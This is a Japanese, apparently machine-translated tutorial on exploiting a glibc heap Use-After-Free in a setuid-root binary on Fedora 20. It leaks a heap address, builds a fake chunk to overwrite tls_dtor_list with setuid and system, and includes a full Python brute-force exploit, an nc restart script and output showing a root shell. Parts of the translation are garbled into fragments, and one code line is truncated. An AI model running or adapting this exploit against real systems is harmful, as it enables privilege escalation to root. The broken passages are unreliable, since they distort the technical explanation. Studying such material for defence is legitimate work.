前提条件:
- オフバイワンの脆弱性
- での作業
mallocを理解するglibc
仮想マシン構成:Fedora 20(x86)。
Use-After-Free(UaF)とは何ですか?
Use-After-Freeバグは、ヒープポインタが解放された後も引き続き使用される場合に発生します。このような脆弱性は、派生コードの実行につながる可能性があります。
脆弱なコード:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)
int main(int argc, char **argv) {
char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name); /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);
char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}
コンパイルコマンド:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
注:前の記事と比較して、ここにはASLRが含まれています。それでは、UaFバグを利用してみましょう。また、ASLRが有効になっているので、情報漏えいやブルートフォースで回避しましょう。上記のコードでは、解放後使用の脆弱性が[6]行と[13]行にあります。対応するヒープメモリは[5]行と[10]行で解放されますが、それらのポインタは[6]行と[13]行で割り当て解除後に使用されます。[6]行のUaFは、[13]行の情報漏えいにつながります-任意のコードの実行につながります。
情報漏えいとは?攻撃者はどのようにそれを悪用できますか?
上記の脆弱なコード([6]行目)では、リークはヒープアドレスで発生します。リークされたヒープアドレスは、攻撃者がランダムに割り当てられたヒープセグメントアドレスを簡単に把握し、ASLRをバイパスするのに役立ちます。
ヒープアドレスリークがどのように発生するかを理解するために、最初に脆弱なコードの前半を理解しましょう。
- 行[1]は、「name」に16バイトのヒープメモリを割り当てます。
- [2] 16 «details».
- [3] 1 (argv[1]) «name».
- [4] [5] «name» «details» glibc malloc.
- Printf [6] «name» , .
読んだ後、物品を前提条件セクションでは、我々はことを知っているチャンクに対応する「名前」と「詳細」ポインタがされている高速の塊ですで保存されたインデックスゼロ速い細胞でたときに解放します。また、各高速セルには、単一にリンクされた空きチャンクのリストが含まれていることもわかっています。したがって、この例に戻ると、高速セルのインデックス0にある単一リンクリストは次のようになります。
main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL
特異性のため、「name」の最初の4バイトには「details_chunk」のアドレスが含まれています。したがって、「name」が表示されると、「details_chunk」のアドレスが最初に表示されます。ヒープレイアウトに基づいて、「details_chunk」がベースヒープアドレスから0x10オフセットされていることがわかります。したがって、リークされたヒープアドレスから0x10を差し引くと、そのベースアドレスが得られます。
任意のコード実行はどのように達成されますか?
ヒープセグメントのベースアドレスがわかったので、例の後半を見て、任意のコードを実行する方法を見てみましょう。
- 行[7]は、「tmp」に16バイトのヒープメモリを割り当てます。
- [8] 1024 «p1».
- [9] 1024 «p2».
- [10] «p2» glibc malloc.
- [11] 512 «p2_1».
- [12] 512 «p2_2».
- Read [13] «p2» .
- [14] «p1»
glibc malloc, .
前提条件セクションの記事を 読んだ後、「p2」がでリリースされると、それが最上位のチャンクに統合されることがわかりました。後で「p2_1」のメモリが要求されると、それは最上位のチャンクから割り当てられ、「p2」と「p2_2」は同じヒープアドレスを持ちます。さらに、「p2_2」のメモリが要求されると、それはトップチャンクから割り当てられ、「p2_2」は「p2」から512バイト離れています。したがって、ポインタ「p2」が
glibc malloc[13]行で解放された後に使用されると、攻撃者によって制御されたデータ(最大1019バイト)がサイズがわずか512バイトの「p2_1」にコピーされるため、攻撃者の残りのデータが次のチャンク「p2_2」を上書きし、攻撃者がフィールドを上書きする機会を与えます。次のチャンクヘッダーのサイズ。
ヒープレイアウト:「前提条件」セクションの記事
からわかるように、攻撃者が次のチャンクサイズフィールドのLSBを正常に上書きできる場合、割り当てられた状態であっても、攻撃者はチートしてp2_1チャンクとの接続を切断できます。また、中にその記事
glibc malloc攻撃者がチャンクヘッダーを注意深く改ざんした場合、割り当てられた状態で大きなチャンクをデタッチすると、任意のコードが実行される可能性があることがわかりました。攻撃者は、以下に示すように偽のチャンクヘッダーを作成します。
fd解放されたチャンクアドレスを指す必要があります。ヒープ図から、「p2_1」がオフセット0x410にあることがわかります。ここから、fd = heap_base_address(リークのために受信されました)+ 0x410。bk解放されたチャンクアドレスも指す必要があります。ヒープ図から、「p2_1」がオフセット0x410にあることがわかります。ここから、fd = heap_base_address(リークのために受信されました)+ 0x410。fd_nextsizetls_dtor_list– 0x14. «tls_dtor_list»private anonymous mapping glibc. , , .bk_nextsize, «dtor_list». «system» dtor_list , «setuid» dtor_list «p2_2». , dtor_list 0x428 0x618 .
これらの情報がすべて揃ったので、脆弱な「vuln」バイナリを攻撃するためのエクスプロイトを作成できます。
悪用コード:
#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time
ip = '127.0.0.1'
port = 1234
def conv(num): return struct.pack("<I
def send(data):
global con
con.write(data)
return con.read_until('\n')
print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0
while True:
time.sleep(4)
con = telnetlib.Telnet(ip, port)
laddress = con.read_until('\n')
laddress = laddress[8:12]
heap_addr_tup = struct.unpack("<I", laddress)
heap_addr = heap_addr_tup[0]
print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
heap_base_addr = heap_addr - 0x10
fd = heap_base_addr + 0x410
bk = fd
bk_nextsize = heap_base_addr + 0x618
mp = heap_base_addr + 0x18
nxt = heap_base_addr + 0x428
print "** Constructing fake chunk to overwrite tls_dtor_list**"
fake_chunk = conv(fd)
fake_chunk += conv(bk)
fake_chunk += conv(fd_nextsize)
fake_chunk += conv(bk_nextsize)
fake_chunk += conv(system)
fake_chunk += conv(system_arg)
fake_chunk += "A" * 484
fake_chunk += conv(size)
fake_chunk += conv(setuid)
fake_chunk += conv(setuid_arg)
fake_chunk += conv(mp)
fake_chunk += conv(nxt)
print "** Successful tls_dtor_list overwrite gives us shell!!**"
send(fake_chunk)
try:
con.interact()
except:
exit(0)
ブルートフォース中は(成功するまで)何度か試行する必要があるため、脆弱なバイナリ「vuln」をネットワークサーバーとして実行し、シェルスクリプトを使用して、クラッシュ時に自動的に再起動するようにします。
#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done
上記のエクスプロイトコードを実行すると、シェルでroot権限が付与されます。起こりました!
Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$
ソース:
1. Defcon CTFShitscoの解放後使用の脆弱性の再検討-リモートコード実行
ブートキット分析。無料レッスン